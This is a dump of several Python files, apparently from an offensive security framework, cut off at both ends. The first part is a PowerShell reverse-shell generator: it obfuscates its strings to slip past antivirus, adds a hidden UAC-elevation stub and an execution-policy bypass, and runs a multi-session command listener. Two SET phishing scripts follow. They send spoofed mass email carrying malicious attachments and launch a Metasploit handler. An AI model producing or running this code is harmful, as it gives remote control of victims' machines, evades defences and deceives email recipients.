$i);'] Command5 = ['$data = (New-Object -TypeName System.Text.ASCIIEncoding)', '.GetString($bytes,0, $i);'] # --------------------- WORDS TO GET-OFF --------------------- # # S//Y//S//T//E//M//R//O//O//T WordCharSystem1 = ["SysTemROot", "Syste?????", "Syst??r??t", "SyS?em?oo?", "SYSTEmRoot", "Sys???r???" ] # S//y//s//t//e//m//3//2 WordCharSystem2 = ["SysWoW??", "SYSW?W6?", "SySwO???", "SYSW????" ] # N//e//w//O//b//j//e//c//t WordCharSystem3 = ["Ne''w-O''bje''ct", "N''ew-O''bj''ec''t", "N'e'W'-'o'B'J'e'C'T'", "&('N'+'e'+'w'+'-'+'O'+'b'+'J'+'e'+'c'+'t')", "NeW-oB''JeCT", "&('New'+'-ObJect')", "&('N'+'e'+'w'+'-ObJect')", "&('New'+'-'+'Ob'+'je'+'ct')", "&('Ne'+'w'+'-'+'Ob'+'je'+'ct')", "&('n'+'E'+'W'+'-'+'Ob'+'Je'+'ct')", "&('New'+'-'+'Ob'+'je'+'c'+'t')" ] # S//y//s//t//e//m//.//N//e//t//.//S//o//c//k//e//t//s WordCharSystem4 = ["Sy''st''em.Net.Soc''kets.TcPClIeNt", "SyS''tEm.Net.SoC''kE''tS.TCPCLIENT", "Sy''St''Em.NeT.So''CkE''tS.TCpCLient", "Sy''St''Em.NeT.So''CkE''tS.$str", "('S'+'y'+'s'+'t'+'e'+'m'+'.'+'N'+'e'+'t'+'.'+'S'+'ockets.TCPClient')", "('S'+'y'+'s'+'t'+'e'+'m'+'.'+'N'+'e'+'t'+'.'+'S'+'ockets.TCPcliEnt')", "('S'+'y'+'s'+'t'+'e'+'m'+'.'+'N'+'e'+'t'+'.'+'S'+'ockets'+'.'+$str)" ] # G//e//t//S//t//r//e//a//m WordCharSystem5 = ["('Get'+'St'+'r'+'eam')", "('Get'+'Stream')", "('G'+'e'+'T'+'S'+'T'+'r'+'e'+'am')", "('gEt'+'s'+'T'+'r'+'E'+'aM')", "('G'+'e'+'tStream')", "('g'+'Et'+'s'+'T'+'r'+'E'+'aM')" ] # S//y//s//t//e//m//T//e//x//t//.//A//S//C//I//I//E//n//c//o//d//i//n//g WordCharSystem6 = ["Sys''t''em.Te''xt.AS''CI''IEn''co''ding", "Sy''Ste''M.tExT.A''SCi''iEN''coding", "S'y's't'e'm.T'e'x't.'A'S'C'I'IE'n'c'o'd'i'n'g" ] # \x49\x46\x20\x59\x4F\x55\x20\x53\x45\x45\x20\x54\x48\x49\x53\x2C\x20\x59\x4F\x55\x20\x41\x52\x45\x20\x42\x4F\x52\x45\x44\x2E WordCharSystem7 = ["$41b394758330c8=$3757856aa482c79977", "$37f=$91a10810c37a0f=$946c88e=$ecf0bb86", "$b=$c=$9=$5=$d=$f=$c=$1=$4=$1=$4=$6=$a=$a=$2=$3=$e=$4=$3=$f=$2=$e=$a=$7=$a=$f=$0=$4=$d=$3=$1=$0", "$e=$7=$f=$c=$f=$8=$e=$4=$9=$e=$3=$9=$a=$f=$3=$c=$f=$6=$a=$f=$2=$4=$6=$f=$d=$c=$f=$5=$3=$5=$d=$f", ] # \x52\x69\x64\x64\x6C\x65\x3A\x20\x57\x68\x61\x74\x20\x6C\x6F\x76\x65\x73\x20\x74\x6F\x20\x73\x6C # \x65\x65\x70\x3F\x0A\x41\x6E\x73\x77\x65\x72\x3A\x20\x44\x65\x66\x65\x6E\x64\x65\x72\x21\x20 WordCharSystem8 = ["$3dbfe2ebffe072727949d7cecc51573b", "$b15ff490cfd2aa65358d2e5e376c5dd2", "$b91ae5f2a05e87e53ef4ca58305c600f", "$fb3c97733989bd69eede22507aab10df" ] # Random UUIDS for later use WordCharSystem9 = spl_uuid() # --------------------- Join List Together --------------------- # C0 = ''.join(Command0).strip() C1 = ''.join(Command1).strip() C2 = ''.join(Command2).strip() C3 = ''.join(Command3).strip() C4 = ''.join(Command4).strip() C5 = ''.join(Command5).strip() W = ', '.join(WordCharSystem1) W2 = ', '.join(WordCharSystem2) w3 = '. '.join(WordCharSystem3) # --------------------- REPLACING --------------------- # if "SYSTEMROOT" or "SystemRoot" in C1: repl = random.choice(WordCharSystem1) if "SysWow64" in C1: repl2 = random.choice(WordCharSystem2) if "New-Object" in C2: repl3 = random.choice(WordCharSystem3) if "System.Net.Sockets" in C2: repl4 = random.choice(WordCharSystem4) if "GetStream" in C3: repl5 = random.choice(WordCharSystem5) if "System.Text.ASCIIEncoding" in C4: repl6 = random.choice(WordCharSystem6) repl7 = None # Use after repl8 = None # Use after repl9 = None # Use after # --------------------- WORDS TO CHECK FOR -------------------- def Bomb(): try: logger.info(f"\n{Red}{MAIN}{Normal} Calculating Strings...") with open('Payload.ps1', 'r') as file: spl = file.read() words_to_check = ["SYSTEMROOT", "New-Object", "GetStream", "ASCII", "System.Net.Sockets", "$client", "$sendback", "$data"] word_to_update = [repl, repl3, repl5, repl6, repl4, repl7, repl8, repl9] num_words_to_check = len(words_to_check) time.sleep(1) print(f"{SPACE_PREFIX}{Yellow}{TEE2}{Normal}Checks For Replaceable Words....") time.sleep(0.5) with tqdm(total=num_words_to_check, bar_format="{l_bar}{bar}{r_bar}", colour='YELLOW') as pbar: for i, word in enumerate(words_to_check): pbar.update(1) time.sleep(0.001) if word not in spl: pbar.write( f"{SPACE_PREFIX}{SPACE_PREFIX}{TEE2}{i + 1}. {word} - {Yellow}Replaced{Normal} -->> {word_to_update[i]}") time.sleep(1) print(f"{SPACE_PREFIX}{SPACE_PREFIX}{SPACE_PREFIX}{TEE2}{LightBlue}{Normal}Just A Second...") time.sleep(1.5) print(f"{SPACE_PREFIX}{SPACE_PREFIX}{SPACE_PREFIX}{l_cyan}{TEE2}{Normal}Payload Generated...... ↓\n") time.sleep(1.5) except Exception as e: logger.error(e) # --------------------- CONTINUE MAIN PJ CODE BLOCK --------------------- def Execute_privilege(): with open('Privilege.ps1', 'w') as run: run.write(f'{privilege}') run.close() def Execute_Payload(): with open('Payload.ps1', 'w') as run2: run2.write(f"{C0};\n") run2.write('''$PJ = @("54", "43", "50", "43", "6C", "69", "65", "6E", "74");\n''') run2.write("$TChar = $PJ | ForEach-Object { [char][convert]::ToInt32($_, 16) };\n") run2.write("$PJChar = -join $TChar;\n") run2.write(f";${random_string_pickup[0]} = {repl3} {repl4}('{args.l}',{args.p});\n") run2.write(f"${random_string_pickup[2]} = ${random_string_pickup[0]}.{repl5}();[byte[]]$PJChar = 0..65535|%" + "{0};\n") run2.write(f"while(($i = ${random_string_pickup[2]}.ReAd($PJChar, 0, $PJChar.LeNgTh)) -ne 0)" + "{;\n") run2.write(f"$data = ({repl3} -TypENAme " + f"{repl6}).('Ge'+'tStRinG')($PJChar,0, $i);\n") run2.write(f'''$sendback = (iex ". {{ $data }} 2>&1" | Ou''t-Str''ing );\n''') run2.write(f"$J=$O=$K=$E=$R=$P=$W=$R = ${{sendback}} + '{LightBlue}JokerShell{Normal} ' + (pwd).Path + '> ';\n") run2.write('''$s = ("{0}{1}{3}{2}"-f "se''nd","by","e","t"); $s = ([text.encoding]::ASCii).GetBYTeS($R);\n''') run2.write(f"${random_string_pickup[2]}.Write($s,0,$s.Length);${random_string_pickup[2]}.Flush()"+"};"+f"${random_string_pickup[0]}.Close()\n") run2.close() time.sleep(1) def Change_Payload(x): global repl7, repl8, repl9 # Make Random MD5 Value Variables repl7 = random.choice(WordCharSystem7) repl8 = random.choice(WordCharSystem8) repl9 = WordCharSystem9 with open(x, "r") as file: file_content = file.read() file_content = file_content.replace("$client", repl7) file_content = file_content.replace("$sendback", repl8) file_content = file_content.replace("sendback", repl8.split("$")[1]) file_content = file_content.replace("$data", repl9) with open(x, 'w') as file: file.write(file_content) def Raw_Payload(x): with open(x, "r") as f: file = f.read() print(file) # -------------------------------- ENCODE TO BASE64 WHEN FINISH ------------------------------# # A D K A L I # # \x50\x6F\x77\x65\x72\x4A\x6F\x6B\x65\x72 # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # def B64(FTD): with open(FTD, 'rb') as file: file_content = file.read() return base64.b64encode(file_content).decode('utf-8') # Maintain sessions using socket. def start_server(): # Sessions to be stored and save when connections are made. sessions = {} # Listen to all interfaces hostname = '0.0.0.0' if not args.n: # Local port [ not forwarding ] port = args.p else: #use ngrok and prompt user to select a local port to listen when requests are coming port = int(input(f"[?] {l_cyan}On which PORT to listen:{Normal} ")) # Continue normally max_sessions = 5 server_socket = socket.socket() server_socket.bind((hostname, port)) server_socket.listen(5) print(f"\n{Red}[PJ]{Normal} Listening on {hostname}:{port}") # Handle incoming connections def accept_connections(): # As long sessions is smaller < 5, accept connections. while len(sessions) < max_sessions: client_socket, addr = server_socket.accept() # Some Unique ID to be given for each connection made. session_id = len(sessions) + 1 sessions[session_id] = [client_socket, addr] print(f"\n[Successfully] Accepted connection from {addr[0]}:{addr[1]}\n") def handle_buffer(x): x = b'' while True: information = client_socket.recv(1024) x += information # If return less than 1024 bytes, break if len(information) < 1024: break return x threading.Thread(target=accept_connections, daemon=True).start() waiting_message_printed = False while True: # If there are no active sessions # If the Waiting for sessions message hasn't been printed yet, print it ONCE. if not sessions: if not waiting_message_printed: logger.info(f"{Yellow}Waiting for sessions...{Normal}") # Mark the message as True waiting_message_printed = True continue else: # If there are sessions, reset to False ( message wont appear ). if waiting_message_printed: waiting_message_printed = False try: for session_id, (client_socket, session_addr) in sessions.items(): logger.info(f"Live Session --> [SESSION ID::{session_id}, {session_addr[0]}::{session_addr[1]} ]") print(f"{Yellow}[Reminder]:{Normal} CTRL+C for switching BETWEEN sessions") print(f"{Fore.LIGHTMAGENTA_EX}[Reminder]:{Normal} Hitting zero(0) will Kill sessions.") print(f"{LightBlue}---{Normal}" * 15) userinput = int(input(f"{Green}[?] Pick a session please (1-{len(sessions)}) OR press '0' for exit]:{Normal} ")) if userinput == 0: print(f"{Red}\n[WhySoSerious?]{Normal}\n{Yellow}Adkali{Normal}\nGithub\n{LightBlue}Thank you!{Normal}") for session_ends, (client_socket, client_address) in sessions.items(): client_socket.close() exit(0) if userinput in sessions: client_socket, addr = sessions[userinput] while True: try: command = input(f"{addr[0]}:{addr[1]} >>> {LightBlue}[PJSession]{Normal} {Yellow}{userinput}:{Normal} ") if command.lower() == "quit": client_socket.close() del sessions[userinput] logger.info(f"[!]Joker Session {userinput} lost!") break client_socket.send(command.encode()) response = handle_buffer(client_socket).decode('utf-8') print(response) except KeyboardInterrupt: print("\n[?]Switching Jokers...") time.sleep(2) break except (ConnectionResetError, BrokenPipeError): logger.info(f"[!]Joker session {userinput} lost!") del sessions[userinput] break else: logger.error("[!] Wrong session ID.") except ValueError: print("Please enter a valid session number OR '0' to exit.") # --------------------- MAIN CODE --------------------- # Note: Replace 'BASE64_ENCODED_COMMAND_HERE' with the base64 payload. privilege = ''' param([switch]$Elevated) function Test-Admin { $currentUser = New-Object Security.Principal.WindowsPrincipal $([Security.Principal.WindowsIdentity]::GetCurrent()) $currentUser.IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator) Unblock-File '.\Privilege.ps1' } if ((Test-Admin) -eq $false) { if ($elevated) { # tried to elevate, did not work, aborting } else { Start-Process $env:''' + f'''{repl}\\''' + f'''\\{repl2}''' + '''\\??ndowsPowerShe??\\v1.0\powershe??.exe -Verb RunAs -ArgumentList ('-noprofile -WindowStyle hidden -file "{0}" -elevated' -f ($myinvocation.MyCommand.Definition)) } exit } Set-ExecutionPolicy Bypass -Scope CurrentUser -Force $encodedCommand = 'BASE64_ENCODED_COMMAND_HERE' $decodedCommand = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand)) Invoke-Expression $decodedCommand ''' def main(): Execute_privilege() Execute_Payload() Change_Payload("Payload.ps1") JOKER() Bomb() FP = 'Payload.ps1' B64(FTD=FP) time.sleep(0.5) print(f"[+] {Yellow}TIP{Normal}: use as: powershell -w hidden -EncodedCommand [PAYLOAD]") print("PAYLOAD -> Copy and run:\n") command = "iconv -f ASCII -t UTF-16LE Payload.ps1 | base64 -w 0" base64_payload = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) base_bytes_out, base_err = base64_payload.communicate() if args.r == "raw": Raw_Payload(x=FP) else: print(f"PowErSheLl -w 1 -EnC {base_bytes_out.decode('utf-8')}") time.sleep(0.5) start_server() if __name__ == '__main__': main() subprocess.Popen('rm -r Payload.ps1', shell=True)
18,974
Python
.py
385
41.841558
236
0.563999
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,784
smtp_client.py
CHEGEBB_africana-framework/externals/set/src/phishing/smtp/client/smtp_client.py
#!/usr/bin/env python3 # for client emails import smtplib import os import getpass import sys import subprocess import re import glob import random import pexpect import base64 # python 2 to 3 fixes try: import _thread as thread # Py3 except ImportError: import thread # Py2 try: from cStringIO import StringIO except ImportError: from io import StringIO from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.header import Header from email.generator import Generator import email.charset as Charset import email.encoders as Encoders # DEFINE SENDMAIL CONFIG sendmail = 0 sendmail_file = open("/etc/setoolkit/set.config", "r").readlines() from src.core.setcore import * Charset.add_charset('utf-8', Charset.BASE64, Charset.BASE64, 'utf-8') # Specify if its plain or html message_flag = "plain" for line in sendmail_file: # strip carriage returns line = line.rstrip() match = re.search("SENDMAIL=", line) if match: # if match and if line is flipped on continue on if line == ("SENDMAIL=ON"): print_info( "Sendmail is a Linux based SMTP Server, this can be used to spoof email addresses.") print_info("Sendmail can take up to three minutes to start FYI.") print_status("Sendmail is set to ON") sendmail_choice = yesno_prompt(["1"], "Start Sendmail? [yes|no]") # if yes, then do some good stuff if sendmail_choice == "YES": print_info("NOTE: Sendmail can take 3-5 minutes to start.") if os.path.isfile("/etc/init.d/sendmail"): subprocess.Popen( "/etc/init.d/sendmail start", shell=True).wait() # if not there then prompt user # added for osx if not os.path.isfile("/usr/sbin/sendmail"): if not os.path.isfile("/etc/init.d/sendmail"): pause = input("[!] Sendmail was not found. Install it and try again. (For Kali: apt-get install sendmail-bin)") sys.exit() smtp = ("localhost") port = ("25") # Flip sendmail switch to get rid of some questions sendmail = 1 # just throw user and password to blank, needed for defining # below provideruser = '' pwd = '' # Search for SMTP provider we will be using match1 = re.search("EMAIL_PROVIDER=", line) if match1: # if we hit on EMAIL PROVIDER email_provider = line.replace("EMAIL_PROVIDER=", "").lower() # support smtp for gmail # Issue ## Set reports the email as successfully sent but I haven't had # any success with it if email_provider == "gmail": if sendmail == 0: smtp = ("smtp.gmail.com") port = ("587") print_status( "If you are using GMAIL - you will need to need to create an application password: https://support.google.com/accounts/answer/6010255?hl=en") # support smtp for yahoo if email_provider == "yahoo": if sendmail == 0: smtp = ("smtp.mail.yahoo.com") port = ("587") # This was previously 465 and changed to 587 # support smtp for hotmail if email_provider == "hotmail": if sendmail == 0: smtp = ("smtp.live.com") # smtp.hotmail.com is no longer in use port = ("587") # DEFINE METASPLOIT PATH meta_path = meta_path() print_info( "As an added bonus, use the file-format creator in SET to create your attachment.") counter = 0 # PDF Previous if os.path.isfile(userconfigpath + "template.pdf"): if os.path.isfile(userconfigpath + "template.rar"): if os.path.isfile(userconfigpath + "template.zip"): print_warning("Multiple payloads were detected:") print ("1. PDF Payload\n2. VBS Payload\n3. Zipfile Payload\n\n") choose_payload = input(setprompt("0", "")) if choose_payload == '1': file_format = (userconfigpath + "template.pdf") if choose_payload == '2': file_format = (userconfigpath + "template.rar") if choose_payload == '3': file_format = (userconfigpath + "template.zip") counter = 1 if counter == 0: if os.path.isfile(userconfigpath + "template.pdf"): file_format = (userconfigpath + "template.pdf") if os.path.isfile(userconfigpath + "template.rar"): file_format = (userconfigpath + "template.rar") if os.path.isfile(userconfigpath + "template.zip"): file_format = (userconfigpath + "template.zip") if os.path.isfile(userconfigpath + "template.doc"): file_format = (userconfigpath + "template.doc") if os.path.isfile(userconfigpath + "template.rtf"): file_format = (userconfigpath + "template.rtf") if os.path.isfile(userconfigpath + "template.mov"): file_format = (userconfigpath + "template.mov") # Determine if prior payload created if not os.path.isfile(userconfigpath + "template.pdf"): if not os.path.isfile(userconfigpath + "template.rar"): if not os.path.isfile(userconfigpath + "template.zip"): if not os.path.isfile(userconfigpath + "template.doc"): if not os.path.isfile(userconfigpath + "template.rtf"): if not os.path.isfile(userconfigpath + "template.mov"): print("No previous payload created.") file_format = input( setprompt(["1"], "Enter the file to use as an attachment")) if not os.path.isfile("%s" % (file_format)): while 1: print_error("ERROR:FILE NOT FOUND. Try Again.") file_format = input( setprompt(["1"], "Enter the file to use as an attachment")) if os.path.isfile(file_format): break # if not found exit out if not os.path.isfile(file_format): exit_set() print(""" Right now the attachment will be imported with filename of 'template.whatever' Do you want to rename the file? example Enter the new filename: moo.pdf 1. Keep the filename, I don't care. 2. Rename the file, I want to be cool. """) filename1 = input(setprompt(["1"], "")) if filename1 == '1' or filename1 == '': print_status("Keeping the filename and moving on.") if filename1 == '2': filename1 = input(setprompt(["1"], "New filename")) subprocess.Popen("cp %s %s/%s 1> /dev/null 2> /dev/null" % (file_format, userconfigpath, filename1), shell=True).wait() file_format = ("%s/%s" % (userconfigpath, filename1)) print_status("Filename changed, moving on...") print (""" Social Engineer Toolkit Mass E-Mailer There are two options on the mass e-mailer, the first would be to send an email to one individual person. The second option will allow you to import a list and send it to as many people as you want within that list. What do you want to do: 1. E-Mail Attack Single Email Address 2. E-Mail Attack Mass Mailer 0. Return to main menu. """) option1 = input(setprompt(["1"], "")) if option1 == '1' or option1 == '2': print (""" Do you want to use a predefined template or craft a one time email template. 1. Pre-Defined Template 2. One-Time Use Email Template """) template_choice = input(setprompt(["1"], "")) # if predefined template go here if template_choice == '1': # set path for path = 'src/templates/' filewrite = open(userconfigpath + "email.templates", "w") counter = 0 # Pull all files in the templates directory for infile in glob.glob(os.path.join(path, '*.template')): infile = infile.split("/") # grab just the filename infile = infile[2] counter = counter + 1 # put it in a format we can use later in a file filewrite.write(infile + " " + str(counter) + "\n") # close the file filewrite.close() # read in formatted filenames fileread = open(userconfigpath + "email.templates", "r").readlines() print_info("Available templates:") for line in fileread: line = line.rstrip() line = line.split(" ") filename = line[0] # read in file fileread2 = open("src/templates/%s" % (filename), "r").readlines() for line2 in fileread2: match = re.search("SUBJECT=", line2) if match: line2 = line2.rstrip() line2 = line2.split("=") line2 = line2[1] # strip double quotes line2 = line2.replace('"', "") # display results back print(line[1] + ": " + line2) # allow user to select template choice = input(setprompt(["1"], "")) for line in fileread: # split based off of space line = line.split(" ") # search for the choice match = re.search(str(choice), line[1]) if match: # print line[0] extract = line[0] fileopen = open("src/templates/" + str(extract), "r").readlines() for line2 in fileopen: match2 = re.search("SUBJECT=", line2) if match2: subject = line2.replace('"', "") subject = subject.split("=") subject = subject[1] match3 = re.search("BODY=", line2) if match3: body = line2.replace('"', "") body = body.replace(r'\n', " \n ") body = body.split("=") body = body[1] if template_choice == '2' or template_choice == '': subject = input(setprompt(["1"], "Subject of the email")) try: html_flag = input( setprompt(["1"], "Send the message as html or plain? 'h' or 'p' [p]")) if html_flag == "" or html_flag == "p": message_flag = "plain" if html_flag == "h": message_flag = "html" body = "" body = input(setprompt( ["1"], "Enter the body of the message, hit return for a new line. Control+c when finished")) while 1: try: body += ("\n") body += input("Next line of the body: ") except KeyboardInterrupt: break except KeyboardInterrupt: pass # single email if option1 == '1': to = input(setprompt(["1"], "Send email to")) # mass emailer if option1 == '2': print (""" The mass emailer will allow you to send emails to multiple individuals in a list. The format is simple, it will email based off of a line. So it should look like the following: [email protected] [email protected] [email protected] This will continue through until it reaches the end of the file. You will need to specify where the file is, for example if its in the SET folder, just specify filename.txt (or whatever it is). If its somewhere on the filesystem, enter the full path, for example /home/relik/ihazemails.txt """) filepath = input( setprompt(["1"], "Path to the file to import into SET")) # exit mass mailer menu if option1 == '0': exit_set() print(("""\n 1. Use a %s Account for your email attack.\n 2. Use your own server or open relay\n""" % (email_provider))) relay = input(setprompt(["1"], "")) counter = 0 # Specify SMTP Option Here if relay == '1': provideruser = input( setprompt(["1"], ("Your %s email address" % email_provider))) from_address = provideruser from_displayname = input( setprompt(["1"], "The FROM NAME user will see")) pwd = getpass.getpass("Email password: ") # Specify Open-Relay Option Here if relay == '2': from_address = input( setprompt(["1"], "From address (ex: [email protected])")) from_displayname = input( setprompt(["1"], "The FROM NAME user will see")) if sendmail == 0: # Ask for a username and password if we aren't using sendmail provideruser = input( setprompt(["1"], "Username for open-relay [blank]")) pwd = getpass.getpass("Password for open-relay [blank]: ") if sendmail == 0: smtp = input(setprompt( ["1"], "SMTP email server address (ex. smtp.youremailserveryouown.com)")) port = input( setprompt(["1"], "Port number for the SMTP server [25]")) if port == "": port = ("25") # specify if its a high priority or not highpri = yesno_prompt(["1"], "Flag this message/s as high priority? [yes|no]") if not "YES" in highpri: prioflag1 = "" prioflag2 = "" else: prioflag1 = ' 1 (Highest)' prioflag2 = ' High' # Define mail send here def mail(to, subject, text, attach, prioflag1, prioflag2): msg = MIMEMultipart() msg['From'] = str( Header(from_displayname, 'UTF-8').encode() + ' <' + from_address + '> ') msg['To'] = to msg['X-Priority'] = prioflag1 msg['X-MSMail-Priority'] = prioflag2 msg['Subject'] = Header(subject, 'UTF-8').encode() # specify if its html or plain # body message here body_type = MIMEText(text, "%s" % (message_flag), 'UTF-8') msg.attach(body_type) # define connection mimebase part = MIMEBase('application', 'octet-stream') part.set_payload(open(attach, 'rb').read()) # base 64 encode message mimebase Encoders.encode_base64(part) # add headers part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach)) msg.attach(part) io = StringIO() msggen = Generator(io, False) msggen.flatten(msg) # define connection to smtp server mailServer = smtplib.SMTP(smtp, int(port)) mailServer.ehlo() # send ehlo to smtp server if sendmail == 0: if email_provider == "gmail" or email_provider == "yahoo": mailServer.ehlo() # start TLS needed for gmail and yahoo and hotmail (live) try: mailServer.starttls() except: pass mailServer.ehlo() if not "gmail|yahoo|hotmail|" in email_provider: tls = yesno_prompt(["1"], "Does your server support TLS? [yes|no]") if tls == "YES": mailServer.starttls() if counter == 0: try: if email_provider == "gmail" or email_provider == "yahoo" or email_provider == "hotmail": try: mailServer.starttls() except: pass mailServer.ehlo() if len(provideruser) > 0: mailServer.login(provideruser, pwd) mailServer.sendmail(from_address, to, io.getvalue()) except Exception as e: print_error( "Unable to deliver email. Printing exceptions message below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and is most likely getting caught.") input("Press {return} to view error message.") print(str(e)) try: mailServer.docmd("AUTH LOGIN", base64.b64encode(provideruser.encode('utf-8'))) mailServer.docmd(base64.b64encode(pwd.encode('utf-8')), "") except Exception as e: print(str(e)) try: mailServer.login(provideremail, pwd) thread.start_new_thread(mailServer.sendmail( from_address, to, io.getvalue())) except Exception as e: return_continue() if email_provider == "hotmail": mailServer.login(provideruser, pwd) thread.start_new_thread(mailServer.sendmail, (from_address, to, io.getvalue())) if sendmail == 1: thread.start_new_thread(mailServer.sendmail, (from_address, to, io.getvalue())) if option1 == '1': try: mail("%s" % (to), subject, body, "%s" % (file_format), prioflag1, prioflag2) except socket.error: print_status( "Unable to connect to mail server. Try again (Internet issues?)") if option1 == '2': counter = 0 email_num = 0 fileopen = open(filepath, "r").readlines() for line in fileopen: to = line.rstrip() mail("%s" % (to), subject, body, "%s" % (file_format), prioflag1, prioflag2) email_num = email_num + 1 print(" Sent e-mail number: " + (str(email_num))) if not os.path.isfile(userconfigpath + "template.zip"): print_status("SET has finished delivering the emails") question1 = yesno_prompt(["1"], "Setup a listener [yes|no]") if question1 == 'YES': if not os.path.isfile(userconfigpath + "payload.options"): if not os.path.isfile(userconfigpath + "meta_config"): if not os.path.isfile(userconfigpath + "unc_config"): print_error( "Sorry, you did not generate your payload through SET, this option is not supported.") if os.path.isfile(userconfigpath + "unc_config"): child = pexpect.spawn( "%smsfconsole -r %s/unc_config" % (meta_path, userconfigpath)) try: child.interact() except Exception: child.close() if os.path.isfile(userconfigpath + "payload.options"): fileopen = open(userconfigpath + "payload.options", "r").readlines() for line in fileopen: line = line.rstrip() line = line.split(" ") # CREATE THE LISTENER HERE filewrite = open(userconfigpath + "meta_config", "w") filewrite.write("use exploit/multi/handler\n") filewrite.write("set PAYLOAD " + line[0] + "\n") filewrite.write("set LHOST " + line[1] + "\n") filewrite.write("set LPORT " + line[2] + "\n") filewrite.write("set ENCODING shikata_ga_nai\n") filewrite.write("set ExitOnSession false\n") filewrite.write("exploit -j\r\n\r\n") filewrite.close() child = pexpect.spawn( "%smsfconsole -r %s/meta_config" % (meta_path, userconfigpath)) try: child.interact() except Exception: child.close()
19,223
Python
.py
452
32.300885
196
0.573763
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,785
smtp_web.py
CHEGEBB_africana-framework/externals/set/src/phishing/smtp/client/smtp_web.py
#!/usr/bin/env python3 import smtplib import os import getpass import sys import subprocess import re import glob import random import time import base64 # fix for python2 to 3 compatibility try: from cStringIO import StringIO except ImportError: from io import StringIO import email import email.encoders import email.mime.text import email.mime.base try: from email.MIMEMultipart import MIMEMultipart except: from email.mime.multipart import MIMEMultipart try: from email.MIMEBase import MIMEBase except: from email.mime.base import MIMEBase try: from email.MIMEText import MIMEText except: from email.mime.text import MIMEText from email.header import Header from email.generator import Generator try: from email import Charset except: from email import charset as Charset try: from email import Encoders except: from email import encoders as Encoders Charset.add_charset('utf-8', Charset.BASE64, Charset.BASE64, 'utf-8') # default the email messages to plain text # unless otherwise specified message_flag = "plain" # import the core modules from src.core.setcore import * # do we want to track the users that click links track_email = check_config("TRACK_EMAIL_ADDRESSES=").lower() definepath = os.getcwd() # DEFINE SENDMAIL CONFIG and WEB ATTACK sendmail = 0 sendmail_file = open("/etc/setoolkit/set.config", "r").readlines() for line in sendmail_file: # strip carriage returns line = line.rstrip() match = re.search("SENDMAIL=", line) if match: # if match and if line is flipped on continue on if line == ("SENDMAIL=ON"): print_info( "Sendmail is a Linux based SMTP Server, this can be used to spoof email addresses.") print_info("Sendmail can take up to three minutes to start") print_status("Sendmail is set to ON") sendmail_choice = yesno_prompt(["1"], "Start Sendmail? [yes|no]") # if yes, then do some good stuff if sendmail_choice == "YES": print_info("Sendmail can take up to 3-5 minutes to start") if os.path.isfile("/etc/init.d/sendmail"): subprocess.Popen( "/etc/init.d/sendmail start", shell=True).wait() # added for osx if not os.path.isfile("/usr/sbin/sendmail"): if not os.path.isfile("/etc/init.d/sendmail"): pause = input("[!] Sendmail was not found. Try again and restart. (For Kali - apt-get install sendmail-bin)") sys.exit() smtp = ("localhost") port = ("25") # Flip sendmail switch to get rid of some questions sendmail = 1 # just throw provideruser and password to blank, needed for # defining below provideruser = '' pwd = '' # Search for SMTP provider we will be using match1 = re.search("EMAIL_PROVIDER=", line) if match1: # if we hit on EMAIL PROVIDER email_provider = line.replace("EMAIL_PROVIDER=", "").lower() # support smtp for gmail if email_provider == "gmail": if sendmail == 0: smtp = ("smtp.gmail.com") port = ("587") # support smtp for yahoo if email_provider == "yahoo": if sendmail == 0: smtp = ("smtp.mail.yahoo.com") port = ("587") # support smtp for hotmail if email_provider == "hotmail": if sendmail == 0: smtp = ("smtp.live.com") port = ("587") print (""" Social Engineer Toolkit Mass E-Mailer There are two options on the mass e-mailer, the first would be to send an email to one individual person. The second option will allow you to import a list and send it to as many people as you want within that list. What do you want to do: 1. E-Mail Attack Single Email Address 2. E-Mail Attack Mass Mailer 0. Return to main menu. """) option1 = input(setprompt(["5"], "")) if option1 == 'exit': exit_set() # single email if option1 == '1': to = input(setprompt(["1"], "Send email to")) # mass emailer if option1 == '2': print (""" The mass emailer will allow you to send emails to multiple individuals in a list. The format is simple, it will email based off of a line. So it should look like the following: [email protected] [email protected] [email protected] This will continue through until it reaches the end of the file. You will need to specify where the file is, for example if its in the SET folder, just specify filename.txt (or whatever it is). If its somewhere on the filesystem, enter the full path, for example /home/relik/ihazemails.txt """) filepath = input( setprompt(["1"], "Path to the file to import into SET")) if not os.path.isfile(filepath): while 1: print( "[!] File not found! Please try again and enter the FULL path to the file.") filepath = input( setprompt(["1"], "Path to the file to import into SET")) if os.path.isfile(filepath): break # exit mass mailer menu if option1 == '0': print("Returning to main menu...") if option1 != "0": print(("""\n 1. Use a %s Account for your email attack.\n 2. Use your own server or open relay\n""" % ( email_provider))) relay = input(setprompt(["1"], "")) counter = 0 # Specify mail Option Here if relay == '1': provideruser = input( setprompt(["1"], "Your %s email address" % (email_provider))) from_address = provideruser from_displayname = input( setprompt(["1"], "The FROM NAME the user will see")) pwd = getpass.getpass("Email password: ") # Specify Open-Relay Option Here if relay == '2': from_address = input( setprompt(["1"], "From address (ex: [email protected])")) from_displayname = input( setprompt(["1"], "The FROM NAME the user will see")) if sendmail == 0: # Ask for a username and password if we aren't using sendmail provideruser = input( setprompt(["1"], "Username for open-relay [blank]")) pwd = getpass.getpass("Password for open-relay [blank]: ") if sendmail == 0: smtp = input(setprompt( ["1"], "SMTP email server address (ex. smtp.youremailserveryouown.com)")) port = input( setprompt(["1"], "Port number for the SMTP server [25]")) if port == "": port = ("25") # specify if its a high priority or not highpri = yesno_prompt( ["1"], "Flag this message/s as high priority? [yes|no]") if not "YES" in highpri: prioflag1 = "" prioflag2 = "" else: prioflag1 = ' 1 (Highest)' prioflag2 = ' High' # if we want to attach a file file_format = "" yesno = raw_input("Do you want to attach a file - [y/n]: ") if yesno.lower() == "y" or yesno.lower() == "yes": file_format = raw_input( "Enter the path to the file you want to attach: ") if not os.path.isfile(file_format): file_format = "" inline_files = [] while True: yesno = raw_input("Do you want to attach an inline file - [y/n]: ") if 